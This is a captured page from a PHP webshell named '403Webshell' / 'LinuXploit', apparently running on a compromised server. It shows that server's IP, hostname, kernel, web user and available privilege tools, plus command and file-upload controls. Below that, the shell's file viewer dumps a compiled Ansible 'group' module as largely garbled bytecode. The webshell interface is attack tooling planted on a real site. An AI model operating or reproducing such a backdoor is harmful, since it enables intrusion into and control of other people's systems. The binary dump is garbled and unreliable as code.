403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/modules/__pycache__/group.cpython-311.opt-1.pyc
�

���cHN���ddlmZmZmZeZdZdZdZddl	Z	ddl
Z
ddlmZddl
mZddlmZGd	�d
e��ZGd�de��ZGd
�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��ZGd�de��Zd�Zedkre��dSdS)�)�absolute_import�division�print_functionab
---
module: group
version_added: "0.0.2"
short_description: Add or remove groups
requirements:
- groupadd
- groupdel
- groupmod
description:
    - Manage presence of groups on a host.
    - For Windows targets, use the M(ansible.windows.win_group) module instead.
options:
    name:
        description:
            - Name of the group to manage.
        type: str
        required: true
    gid:
        description:
            - Optional I(GID) to set for the group.
        type: int
    state:
        description:
            - Whether the group should be present or not on the remote host.
        type: str
        choices: [ absent, present ]
        default: present
    system:
        description:
            - If I(yes), indicates that the group created is a system group.
        type: bool
        default: no
    local:
        description:
            - Forces the use of "local" command alternatives on platforms that implement it.
            - This is useful in environments that use centralized authentication when you want to manipulate the local groups.
              (for example, it uses C(lgroupadd) instead of C(groupadd)).
            - This requires that these commands exist on the targeted host, otherwise it will be a fatal error.
        type: bool
        default: no
        version_added: "2.6"
    non_unique:
        description:
            - This option allows to change the group ID to a non-unique value. Requires C(gid).
            - Not supported on macOS or BusyBox distributions.
        type: bool
        default: no
        version_added: "2.8"
extends_documentation_fragment: action_common_attributes
attributes:
    check_mode:
        support: full
    diff_mode:
        support: none
    platform:
        platforms: posix
seealso:
- module: ansible.builtin.user
- module: ansible.windows.win_group
author:
- Stephen Fromm (@sfromm)
z�
- name: Ensure group "somegroup" exists
  ansible.builtin.group:
    name: somegroup
    state: present

- name: Ensure group "docker" exists with correct gid
  ansible.builtin.group:
    name: docker
    state: present
    gid: 1750
a�
gid:
  description: Group ID of the group.
  returned: When C(state) is 'present'
  type: int
  sample: 1001
name:
  description: Group name.
  returned: always
  type: str
  sample: users
state:
  description: Whether the group is present or not.
  returned: always
  type: str
  sample: 'absent'
system:
  description: Whether the group is a system group or not.
  returned: When C(state) is 'present'
  type: bool
  sample: False
N)�to_bytes)�
AnsibleModule)�get_platform_subclassc�^��eZdZdZdZdZdZ�fd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Z�xZS)�Groupa-
    This is a generic Group manipulation class that is subclassed
    based on platform.

    A subclass may wish to override the following action methods:-
      - group_del()
      - group_add()
      - group_mod()

    All subclasses MUST define platform and distribution (which may be None).
    �GenericN�
/etc/groupc�r��tt��}t||���|��S�N)rr
�super�__new__)�cls�args�kwargs�new_cls�	__class__s    ��:/usr/lib/python3.11/site-packages/ansible/modules/group.pyrz
Group.__new__�s.���'��.�.���S�'�"�"�*�*�7�3�3�3�c���||_|jd|_|jd|_|jd|_|jd|_|jd|_|jd|_dS)N�state�name�gid�system�local�
non_unique)�module�paramsrrrrrr)�selfrs  r�__init__zGroup.__init__�sa������]�7�+��
��M�&�)��	��=��'����m�H�-����]�7�+��
� �-��5����rc�6�|j�|��Sr)r�run_command�r!�cmds  r�execute_commandzGroup.execute_command�s���{�&�&�s�+�+�+rc��|jrd}nd}|j�|d��|jg}|�|��S)N�	lgroupdel�groupdelT)rr�get_bin_pathrr')r!�command_namer&s   r�	group_delzGroup.group_del�sJ���:�	&�&�L�L�%�L��{�'�'��d�;�;�T�Y�G���#�#�C�(�(�(rc��|jrotj��D]]}|j|jkrI|j|jkr9|j�d�|j|j������\dSdS)Nz)GID '{0}' already exists with group '{1}'��msg)	r�grp�getgrall�gr_gidr�gr_namer�	fail_json�format)r!�grs  r�_local_check_gid_existszGroup._local_check_gid_exists�s����8�	x��l�n�n�
x�
x���8�r�y�(�(�T�Y�"�*�-D�-D��K�)�)�.Y�.`�.`�ae�ai�km�ku�.v�.v�)�w�w�w��	x�	x�
x�
xrc��|jrd}|���nd}|j�|d��g}|D]�}|dkrb||�Z|�d��|�t||����|jr|�d���j|dkr||dur|�d����|�|j��|�|��S)	N�	lgroupadd�groupaddTr�-g�-orz-r)	rr8rr+�append�strrrr')r!rr,r&�keys     r�	group_addzGroup.group_add�s���:�	&�&�L��(�(�*�*�*�*�%�L��{�'�'��d�;�;�<���	!�	!�C��e�|�|��s�� 7��
�
�4� � � ��
�
�3�v�c�{�+�+�,�,�,��?�%��J�J�t�$�$�$������V�C�[�D�%8�%8��
�
�4� � � ���
�
�4�9�����#�#�C�(�(�(rc�\�|jrd}|���nd}|j�|d��g}|���}|D]�}|dkr�||�x|dt||��krY|�d��|�t||����|jr|�d����t|��dkrd	S|jj
rd
S|�|j��|�|��S)N�	lgroupmod�groupmodTr�r<r=��N�rH�rrHrH)
rr8rr+�
group_info�intr>r?r�len�
check_moderr')r!rr,r&�infor@s      r�	group_modzGroup.group_mod�s+���:�	&�&�L��(�(�*�*�*�*�%�L��{�'�'��d�;�;�<����� � ���	)�	)�C��e�|�|��#�;�*�t�A�w�#�f�S�k�:J�:J�/J�/J��J�J�t�$�$�$��J�J�s�6�#�;�/�/�0�0�0���)��
�
�4�(�(�(���s�8�8�q�=�=�!�>��;�!�	��;��
�
�4�9�����#�#�C�(�(�(rc��|j�rtj�|j��s3|j�d�|j�����d}d�|j��}t|jd��5}|�
��ddd�}|D](}|�t|����rd}n�)ddd��n#1swxYwY|s3|j�
d�|j�	����|S	tj|j��rdSdS#t $rYdSwxYw)
NzI'local: true' specified but unable to find local group file {0} to parse.r/Fz{0}:�rb���Tz�'local: true' specified and group was not found in {file}. The local group may already exist if the local group database exists somewhere other than {file}.)�file)r�os�path�exists�	GROUPFILErr5r6r�open�	readlines�
startswithr�warnr1�getgrnam�KeyError)r!rV�	name_test�f�reversed_lines�lines      r�group_existszGroup.group_exists�s���
�:�	��7�>�>�$�.�1�1�
N���%�%�*u�*|�*|�~B�~L�+M�+M�%�N�N�N��F��
�
�d�i�0�0�I��d�n�d�+�+�
�q�!"�����t�t��t�!4��*���D����x�	�':�':�;�;��!%�����
�
�
�
�
�
�
�
�
�
�
����
�
�
�
��
U��� � �x�x~�x~�EI�ES�x~�yT�yT�U�U�U��M�
��<��	�*�*� ��4� � ���
�
�
��u�u�
���s%�A	C&�&C*�-C*�)E�
E�Ec��|���sdS	ttj|j����}n#t
$rYdSwxYw|S)NF)rb�listr1r\rr])r!rNs  rrJzGroup.group_info�sb��� � �"�"�	��5�	����T�Y�/�/�0�0�D�D���	�	�	��5�5�	�����s�&?�
A
�A
)�__name__�
__module__�__qualname__�__doc__�platform�distributionrWrr"r'r-r8rArOrbrJ�
__classcell__)rs@rr
r
vs��������
�
��H��L��I�4�4�4�4�4�6�6�6�,�,�,�)�)�)�x�x�x�)�)�)�$)�)�)�,���@������rr
c�$�eZdZdZdZdZdZd�ZdS)�SunOSz�
    This is a SunOS Group manipulation class. Solaris doesn't have
    the 'system' group concept.

    This overrides the following methods from the generic class:-
        - group_add()
    Nrc�p�|j�dd��g}|D]i}|dkra||�Y|�d��|�t||����|jr|�d���j|�|j��|�|��S)Nr;Trr<r=)rr+r>r?rrr'�r!rr&r@s    rrAzSunOS.group_adds����{�'�'�
�D�9�9�:���	%�	%�C��e�|�|��s�� 7��
�
�4� � � ��
�
�3�v�c�{�+�+�,�,�,��?�%��J�J�t�$�$�$���
�
�4�9�����#�#�C�(�(�(r)rerfrgrhrirjrWrA�rrrmrm�s>���������H��L��I�	)�	)�	)�	)�	)rrmc�0�eZdZdZdZdZdZd�Zd�Zd�Z	dS)�AIXz�
    This is a AIX Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    Nrc�p�|j�dd��|jg}|�|��S)N�rmgroupT�rr+rr'r%s  rr-z
AIX.group_del"s4���{�'�'�	�4�8�8�$�)�D���#�#�C�(�(�(rc�`�|j�dd��g}|D]a}|dkr4||�,|�dt||��z���<|dkr||dur|�d���b|�|j��|�|��S)N�mkgroupTr�id=rz-a)rr+r>r?rr'ros    rrAz
AIX.group_add&s����{�'�'�	�4�8�8�9���	!�	!�C��e�|�|��s�� 7��
�
�5�3�v�c�{�#3�#3�3�4�4�4�4�����V�C�[�D�%8�%8��
�
�4� � � ���
�
�4�9�����#�#�C�(�(�(rc��|j�dd��g}|���}|D]Z}|dkrR||�J|dt||��kr+|�dt||��z���[t
|��dkrdS|jjrdS|�|j��|�	|��S)	N�chgroupTrrErxrFrGrI)
rr+rJrKr>r?rLrMrr')r!rr&rNr@s     rrOz
AIX.group_mod0s����{�'�'�	�4�8�8�9����� � ���	9�	9�C��e�|�|��#�;�*�t�A�w�#�f�S�k�:J�:J�/J�/J��J�J�u�s�6�#�;�'7�'7�7�8�8�8���s�8�8�q�=�=�!�>��;�!�	��;��
�
�4�9�����#�#�C�(�(�(r�
rerfrgrhrirjrWr-rArOrprrrrrrs\���������H��L��I�)�)�)�)�)�)�)�)�)�)�)rrrc�0�eZdZdZdZdZdZd�Zd�Zd�Z	dS)�FreeBsdGroupz�
    This is a FreeBSD Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    �FreeBSDNrc�r�|j�dd��d|jg}|�|��S)N�pwTr*rur%s  rr-zFreeBsdGroup.group_delOs6���{�'�'��d�3�3�Z���K���#�#�C�(�(�(rc�0�|j�dd��d|jg}|j�X|�d��|�t|j����|jr|�d��|�|��S)Nr�Tr;r<r=)rr+rrr>r?rr'�r!rr&s   rrAzFreeBsdGroup.group_addSs����{�'�'��d�3�3�Z���K���8���J�J�t�����J�J�s�4�8�}�}�%�%�%���
!��
�
�4� � � ��#�#�C�(�(�(rc��|j�dd��d|jg}|���}t	|��}|j�vt
|j��|dkrX|�d��|�t|j����|j	r|�d��|t	|��kr#|jj
rdS|�|��SdS)	Nr�TrDrEr<r=rIrG)rr+rrJrLrrKr>r?rrMr')r!rr&rN�cmd_lens     rrOzFreeBsdGroup.group_mod\s����{�'�'��d�3�3�Z���K����� � ���c�(�(���8��C���M�M�T�!�W�$<�$<��J�J�t�����J�J�s�4�8�}�}�%�%�%���
!��
�
�4� � � ��c�#�h�h����{�%�
#�"�{��'�'��,�,�,��~rr{rprrr}r}As\���������H��L��I�)�)�)�)�)�)�����rr}c��eZdZdZdZdS)�DragonFlyBsdGroupzq
    This is a DragonFlyBSD Group manipulation class.
    It inherits all behaviors from FreeBsdGroup class.
    �	DragonFlyN)rerfrgrhrirprrr�r�ms��������
�H�H�Hrr�c�4�eZdZdZdZdZd�Zd�Zdd�Zd�Z	dS)	�DarwinGroupz�
    This is a Mac macOS Darwin Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()

    group manipulation are done using dseditgroup(1).
    �DarwinNc��|j�dd��g}|ddgz
}|j�|dt|j��gz
}nSd|vrO|ddurE|���}|dur-t|��|_|dt|j��gz
}|d|jgz
}|�|��\}}}|||fS)	N�dseditgroupTr=�create�-irF�-L)rr+rr?�get_lowest_available_system_gidrr')r!rr&r�rc�out�errs       rrAzDarwinGroup.group_add�s����{�'�'�
�t�<�<�=����h�����8���D�#�d�h�-�-�(�(�C�C�
��
�
�F�8�$4��$<�$<��6�6�8�8�C��%����s�8�8�����c�$�(�m�m�,�,����d�i� � ���-�-�c�2�2���S�#��C��~�rc��|j�dd��g}|ddgz
}|d|jgz
}|�|��\}}}|||fS)Nr�Tr=�deleter�ru)r!r&r�r�r�s     rr-zDarwinGroup.group_del�sa���{�'�'�
�t�<�<�=����h������d�i� � ���-�-�c�2�2���S�#��C��~�rc�>�|���}|j��t|j��|dkrc|j�dd��g}|ddgz
}|�|dt|��gz
}|d|jgz
}|�|��\}}}|||fSdS)	NrEr�Tr=�editr�r�rG)rJrrKrr+r?rr')r!rrNr&r�r�r�s       rrOzDarwinGroup.group_mod�s������ � ���8��C���M�M�T�!�W�$<�$<��;�+�+�M�4�@�@�A�C��D�&�>�!�C�����c�#�h�h�'�'���D�$�)�$�$�C�!�1�1�#�6�6�N�R��c���S�>�!��~rc��	|j�dd��g}|gd�z
}|�|��\}}}|���}d}|D]M}|�d��}t|��dkr#t
|d��}	|	|kr|	dkr|	}�N|dks|d	krd
S|dzS#t$rYd
SwxYw)N�dsclT)z/Local/Defaultz-listz/Groups�PrimaryGroupIDr� rFrRi�i�F)rr+r'�
splitlines�splitrLrK�	Exception)
r!r&r�r�r��lines�highestrJ�partsrs
          rr�z+DarwinGroup.get_lowest_available_system_gid�s���	��;�+�+�F�D�9�9�:�C��K�K�K�K�C�!�1�1�#�6�6�N�R��c��N�N�$�$�E��G�#�
&�
&�
�"�(�(��-�-���u�:�:��>�>��e�B�i�.�.�C��W�}�}��s���"%����!�|�|�w�#�~�~��u��a�K� ���	�	�	��5�5�	���s�B.B7�2B7�7
C�Cr)
rerfrgrhrirjrAr-rOr�rprrr�r�xsk������	�	��H��L�������
�
�
�
�����rr�c�0�eZdZdZdZdZdZd�Zd�Zd�Z	dS)�OpenBsdGroupz�
    This is a OpenBSD Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    �OpenBSDNrc�p�|j�dd��|jg}|�|��S�Nr*Trur%s  rr-zOpenBsdGroup.group_del��4���{�'�'�
�D�9�9�4�9�E���#�#�C�(�(�(rc�V�|j�dd��g}|j�X|�d��|�t	|j����|jr|�d��|�|j��|�|��S�Nr;Tr<r=�rr+rr>r?rrr'r�s   rrAzOpenBsdGroup.group_add�����{�'�'�
�D�9�9�:���8���J�J�t�����J�J�s�4�8�}�}�%�%�%���
!��
�
�4� � � ��
�
�4�9�����#�#�C�(�(�(rc��|j�dd��g}|���}|j�vt	|j��|dkrX|�d��|�t
|j����|jr|�d��t|��dkrdS|jj	rdS|�|j
��|�|��S�	NrDTrEr<r=rFrGrI�rr+rJrrKr>r?rrLrMrr'�r!rr&rNs    rrOzOpenBsdGroup.group_mod������{�'�'�
�D�9�9�:����� � ���8��C���M�M�T�!�W�$<�$<��J�J�t�����J�J�s�4�8�}�}�%�%�%���
!��
�
�4� � � ��s�8�8�q�=�=�!�>��;�!�	��;��
�
�4�9�����#�#�C�(�(�(rr{rprrr�r��s\���������H��L��I�)�)�)�)�)�)�
)�
)�
)�
)�
)rr�c�0�eZdZdZdZdZdZd�Zd�Zd�Z	dS)�NetBsdGroupz�
    This is a NetBSD Group manipulation class.

    This overrides the following methods from the generic class:-
      - group_del()
      - group_add()
      - group_mod()
    �NetBSDNrc�p�|j�dd��|jg}|�|��Sr�rur%s  rr-zNetBsdGroup.group_del�r�rc�V�|j�dd��g}|j�X|�d��|�t	|j����|jr|�d��|�|j��|�|��Sr�r�r�s   rrAzNetBsdGroup.group_add�r�rc��|j�dd��g}|���}|j�vt	|j��|dkrX|�d��|�t
|j����|jr|�d��t|��dkrdS|jj	rdS|�|j
��|�|��Sr�r�r�s    rrOzNetBsdGroup.group_modr�rr{rprrr�r��s\���������H��L��I�)�)�)�)�)�)�
)�
)�
)�
)�
)rr�c�$�eZdZdZd�Zd�Zd�ZdS)�BusyBoxGroupz�
    BusyBox group manipulation class for systems that have addgroup and delgroup.

    It overrides the following methods:
        - group_add()
        - group_del()
        - group_mod()
    c�0�|j�dd��g}|j�)|�dt	|j��g��|jr|�d��|�|j��|�|��S)N�addgroupTr<z-S)	rr+r�extendr?rr>rr'r�s   rrAzBusyBoxGroup.group_add$s����{�'�'�
�D�9�9�:���8���J�J��c�$�(�m�m�,�-�-�-��;�	��J�J�t�����
�
�4�9�����#�#�C�(�(�(rc�p�|j�dd��|jg}|�|��S)N�delgroupTrur%s  rr-zBusyBoxGroup.group_del0r�rc�z�|���}|j��|j|dk�rtdd��5}|���}ddd��n#1swxYwYt	|j��}d||dfz}d||jfz}d|jz|vr4|j�d�|j������|jj	rd	S|�
||��}tdd
��5}|�|��ddd��n#1swxYwYd	SdS)NrErrQs%s:x:%d:s:%d:zgid '{gid}' in use�rr/rI�wbrG)rJrrX�readrrrr5r6rM�replace�write)	r!rrNr_�b_groups�b_name�b_current_group_string�b_new_group_string�b_new_groupss	         rrOzBusyBoxGroup.group_mod4s������ � ���8��D�H��Q��$7�$7��l�D�)�)�
$�Q��6�6�8�8��
$�
$�
$�
$�
$�
$�
$�
$�
$�
$�
$����
$�
$�
$�
$��d�i�(�(�F�%0�F�D��G�3D�%D�"�!,����/A�!A�����!�X�-�-���%�%�*>�*E�*E�$�(�*E�*S�*S�%�T�T�T��{�%�
!� �y�#�+�+�,B�DV�W�W�L��l�D�)�)�
&�Q�����%�%�%�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&�
&����
&�
&�
&�
&��9��|s#�A � A$�'A$�D.�.D2�5D2N)rerfrgrhrAr-rOrprrr�r�sK��������
)�
)�
)�)�)�)�����rr�c��eZdZdZdZdS)�AlpineGroup�Linux�AlpineN)rerfrgrirjrprrr�r�Ls�������H��L�L�Lrr�c
���tttddddg���tdd���td���td	d
���td	d
���td	d
������dd
ddggg���}t|��}|�d|jz��|jr|�d|jz��d}d}d}i}|j|d<|j|d<|jdkrl|���rW|j	r|�
d���|���\}}}|dkr|�|j|���n�|jdkr�|���sC|j	r|�
d���|�
|j|j���\}}}n|�|j���\}}}|�"|dkr|�|j|���|�d
|d<nd|d<|r||d<|r||d<|���r)|���}|j|d<|d|d<|j
di|��dS) Nr?�present�absent)�type�default�choicesT)r��requiredrK)r��boolF)r�r�)rrrrrrrr)�
argument_spec�supports_check_mode�required_ifz Group instantiated - platform %sz$Group instantiated - distribution %srHrr)�changedr)rr0)rrr�r��stdout�stderrrrErp)r�dictr
�debugrirjrrrbrM�	exit_jsonr-r5rArrrOrJ)r�groupr�r�r��resultrNs       r�mainr�Rs���
���E�9�x��>S�T�T�T��5�4�0�0�0��%� � � ��V�U�3�3�3��F�E�2�2�2����7�7�7�

�
�
�!�
�4�%��)�
�
�
�
�F�
�&�M�M�E�
�L�L�3�e�n�D�E�E�E���R����;�e�>P�P�Q�Q�Q�	
�B�
�C�
�C�
�F��Z�F�6�N��k�F�7�O��{�h��������	;�� �
/�� � �� �.�.�.�"�_�_�.�.�N�R��c��Q�w�w�� � �e�j�c� �:�:�:��	��	�	!�	!��!�!�#�#�	<�� �
/�� � �� �.�.�.�"�_�_���5�<�_�P�P�N�R��c�c�"�_�_���_�;�;�N�R��c�
�>�b�A�g�g����%�*�#��6�6�6�	�z�!��y��� ��y��
����x��
����x������� ����!�!�� �<��x���Q���u�
��F����v�����r�__main__)�
__future__rrrr��
__metaclass__�
DOCUMENTATION�EXAMPLES�RETURNr1rT�ansible.module_utils._textr�ansible.module_utils.basicr�$ansible.module_utils.common.sys_infor�objectr
rmrrr}r�r�r�r�r�r�r�rerprr�<module>r�s}��A�@�@�@�@�@�@�@�@�@��
�>�
�@��
��.�
�
�
�	�	�	�	�/�/�/�/�/�/�4�4�4�4�4�4�F�F�F�F�F�F�~�~�~�~�~�F�~�~�~�F)�)�)�)�)�E�)�)�)�6()�()�()�()�()�%�()�()�()�Z)�)�)�)�)�5�)�)�)�X���������B�B�B�B�B�%�B�B�B�J))�))�))�))�))�5�))�))�))�\))�))�))�))�))�%�))�))�))�^/�/�/�/�/�5�/�/�/�d�����,����@�@�@�F�z����D�F�F�F�F�F��r

Youez - 2016 - github.com/yon3zu
LinuXploit